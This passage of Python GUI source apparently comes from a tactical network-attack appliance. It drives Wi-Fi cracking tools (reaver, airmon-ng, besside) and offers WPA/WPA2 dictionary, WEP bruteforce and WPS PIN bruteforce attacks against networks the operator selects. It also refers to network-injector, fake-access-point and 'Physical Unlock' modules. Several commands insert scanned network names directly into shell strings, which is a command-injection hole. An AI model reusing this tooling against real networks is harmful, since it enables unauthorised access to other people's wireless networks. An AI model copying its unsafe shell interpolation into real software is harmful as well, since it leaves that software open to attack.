		    os.remove('/opt/td-config/run/besside/lock')
		except:
		    pass

	    if os.path.exists('/opt/td-config/run/besside/nopass') == True:
		self.do_gui(self.label.set_text, "Cracking WPS (100%)")
		break

	    if os.path.exists('/opt/td-config/run/besside/key') == True:
		self.do_gui(self.label.set_text, "Cracking WPS (100%)")
		pass

	    if os.path.exists('/opt/td-config/run/besside/nohandshake') == True:
		if self.reaver_pid != None:
                    subprocess.call('kill -KILL {} 2> /dev/null'.format(self.reaver_pid), shell=True)

                subprocess.call('killall -SIGKILL reaver 2> /dev/null', shell=True)
                subprocess.call("/opt/td-config/bin/airmon-ng stop mon0 > /dev/null 2> /dev/null", shell=True)
                self.attackerror = True
                self.attackreboot = True
                return

	    try:
                if subprocess.check_output("ps ax | grep -i reaver | grep -v grep", shell=True).strip() == '0':
		    if os.path.exists('/opt/td-config/run/besside/nopass') == False and os.path.exists('/opt/td-config/run/besside/key') == False:
			if self.reaver_pid != None:
                            subprocess.call('kill -KILL {} 2> /dev/null'.format(self.reaver_pid), shell=True)

                        subprocess.call('killall -SIGKILL reaver 2> /dev/null', shell=True)
                        subprocess.call("/opt/td-config/bin/airmon-ng stop mon0 > /dev/null 2> /dev/null", shell=True)
                        self.attackerror = True
                        self.attackreboot = True
                        return
		    else:
		        break
	    except:
		if os.path.exists('/opt/td-config/run/besside/nopass') == False and os.path.exists('/opt/td-config/run/besside/key') == False:
                    if self.reaver_pid != None:
                        subprocess.call('kill -KILL {} 2> /dev/null'.format(self.reaver_pid), shell=True)

                    subprocess.call('killall -SIGKILL reaver 2> /dev/null', shell=True)
                    subprocess.call("/opt/td-config/bin/airmon-ng stop mon0 > /dev/null 2> /dev/null", shell=True)
                    self.attackerror = True
                    self.attackreboot = True
                    return
                else:
                    break

	    if self.status != 'started':
                break

	    self.do_gui(self.progress.pulse)
	    time.sleep(1)

 	if self.reaver_pid != None:
            subprocess.call('kill -KILL {} 2> /dev/null'.format(self.reaver_pid), shell=True)

        subprocess.call('killall -SIGKILL reaver 2> /dev/null', shell=True)
	subprocess.call("/opt/td-config/bin/airmon-ng stop mon0 > /dev/null 2> /dev/null", shell=True)

    def getinterfaces(self):
    	i = []
    	sockets = os.listdir('/var/run/wpa_supplicant/') if os.path.isdir('/var/run/wpa_supplicant/') else []
    	for s in sockets:
       	    for line in subprocess.check_output(['wpa_cli', '-i', s, 'status']).splitlines():
                 if(line.startswith('wpa_state=')):
                     state = line[10:]
                     break
            else: continue
            i.append({'dev': s, 'desc': s, 'state': state})
        for line in subprocess.check_output(['/opt/td-config/bin/airmon-ng']).splitlines():
            line = line.split('\t')
            for x in i:
                if line[0] == x['dev']:
                    x['desc'] = '{} ({})'.format(line[2], line[0])
                    break
        return sorted(i, key = lambda i: i['dev']) if len(i) else []

    def getnetworks(self, i):
    	n = []

	subprocess.call("wpa_cli -i '{}' scan".format(i), shell=True)

    	for line in subprocess.check_output(['wpa_cli', '-i', i, 'scan_results']).splitlines():
       	    m = re.match(r'((?:[a-fA-F\d]{2}:){5}[a-fA-F\d]{2})\s+([\d]+)\s+-?[\d]+\s+((?:\[[^]]+\])+)\s+([\S ]+)', line)
            if m: n.append({'essid': m.group(4),
                            'bssid': m.group(1),
			    'freq': int(m.group(2)),
                            'chan': str((int(m.group(2)) - 5000) / 5) if int(m.group(2)) >= 5000 else str((int(m.group(2)) - 2412) / 5 + 1),
                            'encr': 'wpa' if re.search(r'\[WPA-PSK', m.group(3)) else 'wpa2' if re.search(r'\[WPA2-PSK', m.group(3)) else 'wep' if re.search(r'\[WEP\]', m.group(3)) else None,
                            'type': 'ess' if re.search(r'\[ESS\]', m.group(3)) else 'ibss' if re.search(r'\[IBSS\]', m.group(3)) else None,
                            'wps': True if re.search(r'\[WPS\]', m.group(3)) else False})
    	return sorted(n, key = lambda n: n['essid']) if len(n) else []

    def getattacks(self):
        a = [
	     ('wpa2', 'WPA2 dictionary attack', {'encr': ['wpa2'], 'wps': [True, False]}, self.attackwpa),
             ('wpa', 'WPA dictionary attack', {'encr': ['wpa'], 'wps': [True, False]}, self.attackwpa),
             ('wep', 'WEP bruteforce attack', {'encr': ['wep'], 'wps': [True, False]}, self.attackwep),
             ('wps', 'WPS PIN bruteforce attack', {'encr': ['wpa2', 'wpa', 'wep'], 'wps': [True]}, self.attackwps),
            ]
        return a

    def loadinterfaces(self, *args):
        if self.started_newconf == True:
            return        
        
	if self.fakeap_started == False:
	    subprocess.call("iptables -F", shell=True)
            subprocess.call("iptables -t nat -F", shell=True)

        subprocess.call('echo "# Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8)" > /etc/resolv.conf', shell=True)
        subprocess.call('echo "#     DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTEN" >> /etc/resolv.conf', shell=True)
	subprocess.call('echo "#" >> /etc/resolv.conf', shell=True)
        subprocess.call('echo "#     IF YOU WANT EDITING THIS FILE, PLEASE EDIT /var/run/dnsmasq/resolv.conf FILE" >> /etc/resolv.conf', shell=True)
        subprocess.call('echo "nameserver 127.0.0.1" >> /etc/resolv.conf', shell=True)

        if os.path.exists('/var/run/dnsmasq/resolv.conf') == False:
            subprocess.call("echo 'nameserver 8.8.8.8' > /var/run/dnsmasq/resolv.conf", shell=True)
            subprocess.call("echo 'nameserver 8.8.4.4' >> /var/run/dnsmasq/resolv.conf", shell=True)
            subprocess.call("echo 'nameserver 208.67.222.222' >> /var/run/dnsmasq/resolv.conf", shell=True)
            subprocess.call("echo 'nameserver 208.67.220.220' >> /var/run/dnsmasq/resolv.conf", shell=True)
        else:
            try:
                subprocess.check_output("grep -i 'nameserver 8.8.8.8' /var/run/dnsmasq/resolv.conf", shell=True)
            except:
                subprocess.call('echo "nameserver 8.8.8.8" >> /var/run/dnsmasq/resolv.conf', shell=True)

            try:
                subprocess.check_output("grep -i 'nameserver 8.8.4.4' /var/run/dnsmasq/resolv.conf", shell=True)
            except:
                subprocess.call('echo "nameserver 8.8.4.4" >> /var/run/dnsmasq/resolv.conf', shell=True)

            try:
                subprocess.check_output("grep -i 'nameserver 208.67.222.222' /var/run/dnsmasq/resolv.conf", shell=True)
            except:
                subprocess.call('echo "nameserver 208.67.222.222" >> /var/run/dnsmasq/resolv.conf', shell=True)

            try:
                subprocess.check_output("grep -i 'nameserver 208.67.220.220' /var/run/dnsmasq/resolv.conf", shell=True)
            except:
                subprocess.call('echo "nameserver 208.67.220.220" >> /var/run/dnsmasq/resolv.conf', shell=True)

    	self.icombo.remove_all()

	count = 0

    	self.interfaces = filter(lambda i: i['state'] in ['DISCONNECTED', 'INACTIVE'], self.getinterfaces())
    	for i in self.interfaces: 
	    iface1 = i['desc']
	    try:
	    	index1 = string.find(iface1, '(')
	    except:
	        continue

       	    iface2 = iface1[index1 + 1:len(iface1) - 1]

	    if self.fakeap_started == True and iface2 == self.wirelessiface:
		continue
	    elif self.started == True and iface2 == self.ngrep_snif:
		continue
	    else:
		if string.find(i['desc'], "wlan0") != -1:
	 	    self.icombo.append_text(i['dev'] + ' (Internal 802.11 WiFi device)')
		else:
		    self.icombo.append_text(i['dev'] + ' (External 802.11 WiFi device)')
		count = count + 1

	if count == 0:
	    self.builder.get_object("comboboxtext3").set_sensitive(False)
	else:
	    self.builder.get_object("comboboxtext3").set_sensitive(True)
   	    self.builder.get_object("comboboxtext3").set_active(0)

	self.wiatiface = None
	self.wiatbssid = None
	self.wiatfreq = None

	self.builder.get_object("button22").set_sensitive(False)
	self.builder.get_object("button15").set_sensitive(False)
        self.builder.get_object("button9").set_sensitive(False)
	self.builder.get_object("button8").set_sensitive(False)

    def loadinterfaces2(self, *args):
        if self.started_newconf == True:
            return        
        
	if self.fakeap_started == False:
	    subprocess.call("iptables -F", shell=True)
            subprocess.call("iptables -t nat -F", shell=True)

        subprocess.call('echo "# Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8)" > /etc/resolv.conf', shell=True)
        subprocess.call('echo "#     DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTEN" >> /etc/resolv.conf', shell=True)
	subprocess.call('echo "#" >> /etc/resolv.conf', shell=True)
        subprocess.call('echo "#     IF YOU WANT EDITING THIS FILE, PLEASE EDIT /var/run/dnsmasq/resolv.conf FILE" >> /etc/resolv.conf', shell=True)
        subprocess.call('echo "nameserver 127.0.0.1" >> /etc/resolv.conf', shell=True)

        if os.path.exists('/var/run/dnsmasq/resolv.conf') == False:
            subprocess.call("echo 'nameserver 8.8.8.8' > /var/run/dnsmasq/resolv.conf", shell=True)
            subprocess.call("echo 'nameserver 8.8.4.4' >> /var/run/dnsmasq/resolv.conf", shell=True)
            subprocess.call("echo 'nameserver 208.67.222.222' >> /var/run/dnsmasq/resolv.conf", shell=True)
            subprocess.call("echo 'nameserver 208.67.220.220' >> /var/run/dnsmasq/resolv.conf", shell=True)
        else:
            try:
                subprocess.check_output("grep -i 'nameserver 8.8.8.8' /var/run/dnsmasq/resolv.conf", shell=True)
            except:
                subprocess.call('echo "nameserver 8.8.8.8" >> /var/run/dnsmasq/resolv.conf', shell=True)

            try:
                subprocess.check_output("grep -i 'nameserver 8.8.4.4' /var/run/dnsmasq/resolv.conf", shell=True)
            except:
                subprocess.call('echo "nameserver 8.8.4.4" >> /var/run/dnsmasq/resolv.conf', shell=True)

            try:
                subprocess.check_output("grep -i 'nameserver 208.67.222.222' /var/run/dnsmasq/resolv.conf", shell=True)
            except:
                subprocess.call('echo "nameserver 208.67.222.222" >> /var/run/dnsmasq/resolv.conf', shell=True)

            try:
                subprocess.check_output("grep -i 'nameserver 208.67.220.220' /var/run/dnsmasq/resolv.conf", shell=True)
            except:
                subprocess.call('echo "nameserver 208.67.220.220" >> /var/run/dnsmasq/resolv.conf', shell=True)

        self.builder.get_object("comboboxtext7").remove_all()

	count = 0

        self.interfaces = filter(lambda i: i['state'] in ['DISCONNECTED', 'INACTIVE'], self.getinterfaces())
        for i in self.interfaces:

	    iface1 = i['desc']
            try:
                index1 = string.find(iface1, '(')
            except:
                continue

            iface2 = iface1[index1 + 1:len(iface1) - 1]

	    if self.status == 'started' and iface2 == self.wirelessiface2['dev']:
		continue
	    elif self.started == True and iface2 == self.ngrep_snif:
                continue
	    else:
		if string.find(i['desc'], "wlan0") != -1:
                    self.builder.get_object("comboboxtext7").append_text(i['dev'] + ' (Internal 802.11 WiFi device)')
		else:
		    self.builder.get_object("comboboxtext7").append_text(i['dev'] + ' (External 802.11 WiFi device)')
		count = count + 1

	if count == 0:
	    self.builder.get_object("comboboxtext7").set_sensitive(False)
	    self.builder.get_object("radiobutton1").set_sensitive(False)
            self.builder.get_object("radiobutton2").set_sensitive(False)
            self.builder.get_object("entry4").set_sensitive(False)
	    self.do_gui(self.builder.get_object("button12").set_sensitive, False)
            self.do_gui(self.builder.get_object("button24").set_sensitive, False)
	else:
	    self.builder.get_object("comboboxtext7").set_sensitive(True)
	    self.builder.get_object("comboboxtext7").set_active(0)

	self.internetifaceip()

    def loadinterfaces3(self, *args):
        if self.started_newconf == True:
            return        
        
	if self.fakeap_started == False:
            subprocess.call("iptables -F", shell=True)
            subprocess.call("iptables -t nat -F", shell=True)

	email = None

	if os.path.exists('/etc/NetworkManager/dispatcher.d/03routemail') == True:
	    try:
	        email = subprocess.check_output("grep -i 'EMAIL=' /etc/NetworkManager/dispatcher.d/03routemail", shell=True)
	        email = email[7:-2]
	    except:
		email = None
		pass

	    if email != None:
	        if self.controlset == 'tactical':
		    self.builder.get_object("entry5").set_text(email)
		else:
		    self.builder.get_object("entry6").set_text(email)

        subprocess.call('echo "# Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8)" > /etc/resolv.conf', shell=True)
        subprocess.call('echo "#     DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTEN" >> /etc/resolv.conf', shell=True)
        subprocess.call('echo "#" >> /etc/resolv.conf', shell=True)
        subprocess.call('echo "#     IF YOU WANT EDITING THIS FILE, PLEASE EDIT /var/run/dnsmasq/resolv.conf FILE" >> /etc/resolv.conf', shell=True)
        subprocess.call('echo "nameserver 127.0.0.1" >> /etc/resolv.conf', shell=True)

        if os.path.exists('/var/run/dnsmasq/resolv.conf') == False:
            subprocess.call("echo 'nameserver 8.8.8.8' > /var/run/dnsmasq/resolv.conf", shell=True)
            subprocess.call("echo 'nameserver 8.8.4.4' >> /var/run/dnsmasq/resolv.conf", shell=True)
            subprocess.call("echo 'nameserver 208.67.222.222' >> /var/run/dnsmasq/resolv.conf", shell=True)
            subprocess.call("echo 'nameserver 208.67.220.220' >> /var/run/dnsmasq/resolv.conf", shell=True)
        else:
            try:
                subprocess.check_output("grep -i 'nameserver 8.8.8.8' /var/run/dnsmasq/resolv.conf", shell=True)
            except:
                subprocess.call('echo "nameserver 8.8.8.8" >> /var/run/dnsmasq/resolv.conf', shell=True)

            try:
                subprocess.check_output("grep -i 'nameserver 8.8.4.4' /var/run/dnsmasq/resolv.conf", shell=True)
            except:
                subprocess.call('echo "nameserver 8.8.4.4" >> /var/run/dnsmasq/resolv.conf', shell=True)

            try:
                subprocess.check_output("grep -i 'nameserver 208.67.222.222' /var/run/dnsmasq/resolv.conf", shell=True)
            except:
                subprocess.call('echo "nameserver 208.67.222.222" >> /var/run/dnsmasq/resolv.conf', shell=True)

            try:
                subprocess.check_output("grep -i 'nameserver 208.67.220.220' /var/run/dnsmasq/resolv.conf", shell=True)
            except:
                subprocess.call('echo "nameserver 208.67.220.220" >> /var/run/dnsmasq/resolv.conf', shell=True)

	if self.controlset == 'tactical':
	    self.builder.get_object("comboboxtext10").remove_all()
	else:
	    self.builder.get_object("comboboxtext11").remove_all()

	count = 0
	dev = None
	profile = None
	found = 0

	self.ifacelist2 = self.getinterfacelist3()
        for iface, value in self.ifacelist2.items():
            if not value['connected']: continue

            theip = None

            try:
                theip = subprocess.check_output("LANG=en_US.utf8 nmcli -t -f IP4 dev list iface '{}' | grep -i IP4.ADDRESS | awk '{{print $3}}' | sed -e 's/\/.*//g'".format(value['dev']), shell=True)
                if len(theip) == 0:
                    continue
            except:
                continue

            theip = theip[0:len(theip) - 1]

            try:
                inet_pton(AF_INET, theip)
            except:
                continue

            f  = unpack('!I', inet_pton(AF_INET, theip))[0]
            private = ([ 2130706432 , 4278190080 ], [ 3232235520 , 4294901760 ], [ 2886729728 , 4293918720 ], [ 167772160 , 4278190080 ])

            ispriv = False

            for net in private:
               if (f & net[1] == net[0]):
                    ispriv = True

            if ispriv == True:
                continue

	    count += 1

	    if self.controlset == 'tactical':
	        self.builder.get_object("comboboxtext10").prepend_text(value['dev'] + " (Connected to " + value['profile'] + ")")
	    else:
		self.builder.get_object("comboboxtext11").prepend_text(value['dev'] + " (Connected to " + value['profile'] + ")")

            if os.path.exists('/etc/init.d/mobile-broadband-connect') == True:
		try:
                    dev = subprocess.check_output("grep DEVICE= /etc/init.d/mobile-broadband-connect", shell=True)
                    dev = dev[8:-2]
		except:
		    dev = None

		try:
                    profile = subprocess.check_output("grep PROFILE= /etc/init.d/mobile-broadband-connect", shell=True)
                    profile = profile[9:-2]
		except:
		    profile = None

		if dev != None and profile != None:
		    if dev == value['dev'] and profile == value['profile']:
		        found = 1
		        break

	if found == 0:
	    self.modem3g = False
            self.modem3gconf = None

  	    if self.controlset == 'tactical':
		self.builder.get_object("button25").set_sensitive(True)

	        if count == 0:
                    self.builder.get_object("comboboxtext10").set_sensitive(False)
                    self.builder.get_object("entry5").set_sensitive(False)
                    self.builder.get_object("button28").set_sensitive(False)
		    self.builder.get_object("button27").set_sensitive(False)
		    self.builder.get_object("button33").set_sensitive(False)
	        else:
		    self.builder.get_object("comboboxtext10").set_active(0)
                    self.builder.get_object("comboboxtext10").set_sensitive(True)
                    self.builder.get_object("entry5").set_sensitive(True)
                    self.builder.get_object("button28").set_sensitive(True)
		    self.builder.get_object("button27").set_sensitive(True)
		    self.builder.get_object("button33").set_sensitive(True)
	    else:
		self.builder.get_object("button32").set_sensitive(True)

	        if count == 0:
                    self.builder.get_object("comboboxtext11").set_sensitive(False)
                    self.builder.get_object("entry6").set_sensitive(False)
                    self.builder.get_object("button34").set_sensitive(False)
		    self.builder.get_object("button30").set_sensitive(False)
		    self.builder.get_object("button40").set_sensitive(False)
	        else:
		    self.builder.get_object("comboboxtext11").set_active(0)
	            self.builder.get_object("comboboxtext11").set_sensitive(True)
                    self.builder.get_object("entry6").set_sensitive(True)
                    self.builder.get_object("button34").set_sensitive(True)
		    self.builder.get_object("button30").set_sensitive(True)
		    self.builder.get_object("button40").set_sensitive(True)

	    if self.controlset == 'tactical':
                if self.ni_running == False and self.started == False:
                    self.refresh()
            else:
                if self.ni2_running == False and self.started == False:
                    self.refresh2()
	else:
	    self.modem3g = True
            self.modem3gconf = { 'profile': profile, 'type': 'mobile', 'connected': True, 'dev': dev}

	    if email == None:
                subprocess.call('echo "{} 3G automatic connection started on {} {} on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), dev, profile), shell=True)
            else:
                subprocess.call('echo "{} 3G automatic connection started on {} {} with {} email address on Network Injector..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), dev, profile, email), shell=True)

	    if self.controlset == 'tactical':
	        self.builder.get_object("comboboxtext10").remove_all()
		self.builder.get_object("comboboxtext10").prepend_text(value['dev'] + " (Connected to " + value['profile'] + ")")
		self.builder.get_object("comboboxtext10").set_active(0)
                self.builder.get_object("comboboxtext10").set_sensitive(False)
                self.builder.get_object("entry5").set_sensitive(False)
                self.builder.get_object("button28").set_sensitive(True)
		self.builder.get_object("button28").set_label('Disable')
		self.builder.get_object("button25").set_sensitive(False)
		self.builder.get_object("button27").set_sensitive(False)
		self.builder.get_object("button33").set_sensitive(False)
	    else:
   	        self.builder.get_object("comboboxtext11").remove_all()
		self.builder.get_object("comboboxtext11").prepend_text(value['dev'] + " (Connected to " + value['profile'] + ")")
		self.builder.get_object("comboboxtext11").set_active(0)
                self.builder.get_object("comboboxtext11").set_sensitive(False)
                self.builder.get_object("entry6").set_sensitive(False)
                self.builder.get_object("button34").set_sensitive(True)
		self.builder.get_object("button34").set_label('Disable')
		self.builder.get_object("button32").set_sensitive(False)
		self.builder.get_object("button30").set_sensitive(False)
		self.builder.get_object("button40").set_sensitive(False)

	    if self.controlset == 'tactical':
                if self.ni_running == False and self.started == False:
                    self.refresh()
            else:
                if self.ni2_running == False and self.started == False:
                    self.refresh2()

    def loadinterfaces4(self, *args):
        if self.started_newconf == True:
            return        
        
        self.builder.get_object("comboboxtext12").remove_all()

	self.sdiface = None
	count = 0

	try:
	    ret = subprocess.check_output("mount | grep -i '/dev/mmcblk0p1' | awk '{{print $3}}'", shell=True)
	    if len(ret) == 0:
	        count = 0
	    else:
	        count = 1
	except:
	    count = 0

	if count == 0:
		self.builder.get_object("comboboxtext12").set_sensitive(False)
		self.builder.get_object("button41").set_sensitive(False)
	else:
		ret = ret[:-1]
		self.sdiface = ret + '/'
		label = ret[1:]
	
		if label[len(label) - 1] == '\n':
		    label = label[string.find(label, "/") + 1:-1]
		else:
		    label = label[string.find(label, "/") + 1:]

		try:
		    dim = subprocess.check_output("df -h '{}' | grep -i '{}' | awk '{{print $2}}'".format(self.sdiface, self.sdiface[:-1]), shell=True)
		    if len(dim) == 0:
			self.builder.get_object("comboboxtext12").prepend_text(label + " (Filesystem)")
		    else:
			dim = dim[:-1]
		        self.builder.get_object("comboboxtext12").prepend_text(label + " (" + dim + "B Filesystem)")
		except:
		    self.builder.get_object("comboboxtext12").prepend_text(label + " (Filesystem)")

		self.builder.get_object("comboboxtext12").set_active(0)
		self.builder.get_object("comboboxtext12").set_sensitive(True)
                self.builder.get_object("button41").set_sensitive(True)

	return	

    def loadnetworks(self, *args):
        if self.started_newconf == True:
            return        
        
        if self.fakeap_started == False:
            subprocess.call("iptables -F", shell=True)
            subprocess.call("iptables -t nat -F", shell=True)

        subprocess.call('echo "# Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8)" > /etc/resolv.conf', shell=True)
        subprocess.call('echo "#     DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTEN" >> /etc/resolv.conf', shell=True)
        subprocess.call('echo "#" >> /etc/resolv.conf', shell=True)
        subprocess.call('echo "#     IF YOU WANT EDITING THIS FILE, PLEASE EDIT /var/run/dnsmasq/resolv.conf FILE" >> /etc/resolv.conf', shell=True)
        subprocess.call('echo "nameserver 127.0.0.1" >> /etc/resolv.conf', shell=True)

        if os.path.exists('/var/run/dnsmasq/resolv.conf') == False:
            subprocess.call("echo 'nameserver 8.8.8.8' > /var/run/dnsmasq/resolv.conf", shell=True)
            subprocess.call("echo 'nameserver 8.8.4.4' >> /var/run/dnsmasq/resolv.conf", shell=True)
            subprocess.call("echo 'nameserver 208.67.222.222' >> /var/run/dnsmasq/resolv.conf", shell=True)
            subprocess.call("echo 'nameserver 208.67.220.220' >> /var/run/dnsmasq/resolv.conf", shell=True)
        else:
            try:
                subprocess.check_output("grep -i 'nameserver 8.8.8.8' /var/run/dnsmasq/resolv.conf", shell=True)
            except:
                subprocess.call('echo "nameserver 8.8.8.8" >> /var/run/dnsmasq/resolv.conf', shell=True)

            try:
                subprocess.check_output("grep -i 'nameserver 8.8.4.4' /var/run/dnsmasq/resolv.conf", shell=True)
            except:
                subprocess.call('echo "nameserver 8.8.4.4" >> /var/run/dnsmasq/resolv.conf', shell=True)

            try:
                subprocess.check_output("grep -i 'nameserver 208.67.222.222' /var/run/dnsmasq/resolv.conf", shell=True)
            except:
                subprocess.call('echo "nameserver 208.67.222.222" >> /var/run/dnsmasq/resolv.conf', shell=True)

            try:
                subprocess.check_output("grep -i 'nameserver 208.67.220.220' /var/run/dnsmasq/resolv.conf", shell=True)
            except:
                subprocess.call('echo "nameserver 208.67.220.220" >> /var/run/dnsmasq/resolv.conf', shell=True)

        self.builder.get_object("button8").set_sensitive(True)
        self.ncombo.remove_all()
        i = self.icombo.get_active()
        if not i == -1:
            try:
                self.networks = filter(lambda n: (n['type'] == 'ess') and n['encr'], self.getnetworks(self.interfaces[i]['dev']))
                for n in self.networks: self.ncombo.append_text('{} ({}) ({}{})'.format(n['essid'], n['bssid'].upper(), n['encr'].upper(), ' + WPS' if n['wps'] else ''))
                self.do_gui(self.ncombo.set_sensitive, True)
                self.do_gui(self.nbutton.set_sensitive, True)
            except:
                pass
        else:
            self.ncombo.set_sensitive(False)
            self.nbutton.set_sensitive(False)

        self.wiatiface = None
        self.wiatbssid = None
        self.wiatfreq = None

        self.do_gui(self.builder.get_object("button22").set_sensitive, False)

    def loadattacks(self, *args):
        self.acombo.remove_all()
        n = self.ncombo.get_active()
        if not n == -1:
            self.attacks = filter(lambda a: (self.networks[n]['encr'] in a[2]['encr']) and (self.networks[n]['wps'] in a[2]['wps']), self.getattacks())
            for a in self.attacks: self.acombo.append_text(a[1])
            self.do_gui(self.acombo.set_sensitive, True)
        else:
            self.do_gui(self.acombo.set_sensitive, False)

	try:
	    self.wiatiface = self.interfaces[self.icombo.get_active()]['dev']
            self.wiatbssid = str(self.networks[self.ncombo.get_active()]['bssid']).upper()
            self.wiatfreq = str(self.networks[self.ncombo.get_active()]['freq'])
	except:
	    pass

	if self.builder.get_object("comboboxtext4").get_active_text() == None:
	    self.do_gui(self.builder.get_object("button22").set_sensitive, False)
	else:
	    self.do_gui(self.builder.get_object("button22").set_sensitive, True)

    def chooseattack(self, *args):
    	a = self.acombo.get_active()
	ctype = self.acombo.get_active_text() 
   	if not a == -1: 
	    self.do_gui(self.abutton.set_sensitive, True)
	    self.do_gui(self.builder.get_object("label28").set_sensitive, True)
	    if ctype == 'WPA dictionary attack' or ctype == 'WPA2 dictionary attack':
		self.do_gui(self.ccbutton.set_sensitive, True)
	    else:
		self.do_gui(self.ccbutton.set_sensitive, False)
    	else: 
	    self.do_gui(self.abutton.set_sensitive, False)
	    self.do_gui(self.ccbutton.set_sensitive, False)

    def startstopattack(self, *args):
    	if self.status == 'stopped':
	    self.wi_running = True

            if self.started_newconf == True:
                self.dialog14 = self.builder.get_object("messagedialog14")
                msgdia = 'Configure with server is running...\nPlease finish with his operations or stop it first.'
                self.dialog14.format_secondary_text(msgdia)
                self.response14 = self.dialog14.run()
                if self.response14 == Gtk.ResponseType.OK:
                    self.dialog14.hide()
                    self.wi_running = False
                    return
	    elif (self.ni_running == True or self.started == True) and (self.fa_running == True or self.fakeap_started == True):
		self.dialog14 = self.builder.get_object("messagedialog14")
                msgdia = 'Network Injector and Fake Access Point are running...\nPlease finish with their operations or stop it first.'
                self.dialog14.format_secondary_text(msgdia)
                self.response14 = self.dialog14.run()
                if self.response14 == Gtk.ResponseType.OK:
                    self.dialog14.hide()
                    self.wi_running = False
                    return
	    elif self.ni_running == True or self.started == True:
		self.dialog14 = self.builder.get_object("messagedialog14")
                msgdia = 'Network Injector is running...\nPlease finish with his operations or stop it first.'
                self.dialog14.format_secondary_text(msgdia)
                self.response14 = self.dialog14.run()
                if self.response14 == Gtk.ResponseType.OK:
                    self.dialog14.hide()
                    self.wi_running = False
                    return
            elif self.fa_running == True or self.fakeap_started == True:
		self.dialog14 = self.builder.get_object("messagedialog14")
                msgdia = 'Fake Access Point is running...\nPlease finish with his operations or stop it first.'
                self.dialog14.format_secondary_text(msgdia)
                self.response14 = self.dialog14.run()
                if self.response14 == Gtk.ResponseType.OK:
                    self.dialog14.hide()
                    self.wi_running = False
                    return
	    elif self.py_running == True or self.started_firewire == True:
		self.dialog14 = self.builder.get_object("messagedialog14")
		msgdia = 'Physical Unlock is running...\nPlease finish with his operations or stop it first.'
		self.dialog14.format_secondary_text(msgdia)
		self.response14 = self.dialog14.run()
		if self.response14 == Gtk.ResponseType.OK:
		    self.dialog14.hide()
		    self.wi_running = False
		    return

	    if string.find(self.builder.get_object("comboboxtext5").get_active_text(), "WPA") != -1:
		if os.path.exists(self.wordlist_path_orig) == False:
		    self.dialog20 = self.builder.get_object("messagedialog20")
		    msgdia = 'Unable to find this wordlist:\n' + self.wordlist_path_orig + '\nPlease choose an other wordlist.'
                    self.dialog20.format_secondary_text(msgdia)
                    self.response20 = self.dialog20.run()
                    if self.response20 == Gtk.ResponseType.CLOSE:
                        self.dialog20.hide()
                        self.wi_running = False
                        return

            self.label.set_text('')
            self.text.set_text('')

	    if self.wirsig < 70:
                self.dialog8 = self.builder.get_object("messagedialog8")

		if self.wirsig == 0:
		    msgdia = 'The link quality is not detected,\nand the device may not work correctly.\n'
                    msgdia += 'If this problem persist, please\nreboot the machine.\nDo you want to continue?'
		else:
                    msgdia = 'The link quality is very low (' + str(self.wirsig) + '%),\nand the device may not work correctly.\nDo you want to continue?'
                self.dialog8.format_secondary_text(msgdia)
                self.response8 = self.dialog8.run()
                if self.response8 == Gtk.ResponseType.NO:
                    self.dialog8.hide()
                    self.wi_running = False
                    return
                elif self.response8 == Gtk.ResponseType.YES:
                    self.dialog8.hide()

	    i = self.interfaces[self.icombo.get_active()]
            n = self.networks[self.ncombo.get_active()]

	    retcl = '1'

            try:
                retcl = subprocess.check_output("LANG=en_US.utf8 nmcli -t -f SSID dev wifi list iface '{}' | grep -Fi '{}' | wc -l".format(i['dev'], n['essid']), shell=True).strip()

                if len(retcl) == 0:
                    retcl = '1'
                    pass
            except:
                retcl = '1'
                pass

            if retcl != '1':
                if self.fakeap_started == False:
                    self.dialog6 = self.builder.get_object("messagedialog6")
                    msgdia = 'There are multiple APs named ' + n['essid'] + '.\nNow you are selected the AP (' + n['bssid'].upper() + ').\nDo you want to continue?'
                    self.dialog6.format_secondary_text(msgdia)
                    self.response6 = self.dialog6.run()
                    if self.response6 == Gtk.ResponseType.NO:
                        self.dialog6.hide()
                        self.wi_running = False
                        return
                    elif self.response6 == Gtk.ResponseType.YES:
                        self.dialog6.hide()

	    self.builder.get_object("label10").set_sensitive(False)
            self.builder.get_object("label11").set_sensitive(False)
            self.builder.get_object("label12").set_sensitive(False)
            self.icombo.set_sensitive(False)
            self.ibutton.set_sensitive(False)
            self.ncombo.set_sensitive(False)
            self.nbutton.set_sensitive(False)
            self.acombo.set_sensitive(False)
            self.abutton.set_sensitive(False)
            self.builder.get_object("label28").set_sensitive(False)
            self.ccbutton.set_sensitive(False)
            self.builder.get_object("progressbar1").set_sensitive(True)
            self.builder.get_object("label14").set_sensitive(True)
            self.builder.get_object("expander2").set_sensitive(True)
            self.builder.get_object("expander2").set_expanded(True)
	    self.builder.get_object("label13").set_sensitive(True)
	    self.builder.get_object("button22").set_sensitive(False)
            self.builder.get_object("label13").set_label("Start new session, please wait...")
	    self.attackerror = False

            self.status = 'starting'
            t = threading.Thread(target = self.attack)
            t.start()
    	else:
	    self.wi_running = True
	    self.builder.get_object("label10").set_sensitive(False)
            self.builder.get_object("label11").set_sensitive(False)
            self.builder.get_object("label12").set_sensitive(False)
            self.icombo.set_sensitive(False)
            self.ibutton.set_sensitive(False)
            self.ncombo.set_sensitive(False)
            self.nbutton.set_sensitive(False)
            self.acombo.set_sensitive(False)
            self.abutton.set_sensitive(False)
            self.builder.get_object("label28").set_sensitive(False)
            self.ccbutton.set_sensitive(False)
            self.builder.get_object("progressbar1").set_sensitive(True)
            self.builder.get_object("label14").set_sensitive(True)
            self.builder.get_object("expander2").set_sensitive(True)
            self.builder.get_object("expander2").set_expanded(True)

            self.status = 'stopping'

	    self.do_gui(self.builder.get_object("button9").set_sensitive, False)
	    self.do_gui(self.builder.get_object("button22").set_sensitive, False)
	    self.do_gui(self.builder.get_object("label28").set_sensitive, False)

    def internetifaceip(self, *args):
	defiface = subprocess.check_output("route -n | grep -i 'UG' | awk '{{print $8}}'", shell=True).strip()
	if len(defiface) == 0:
	    return False

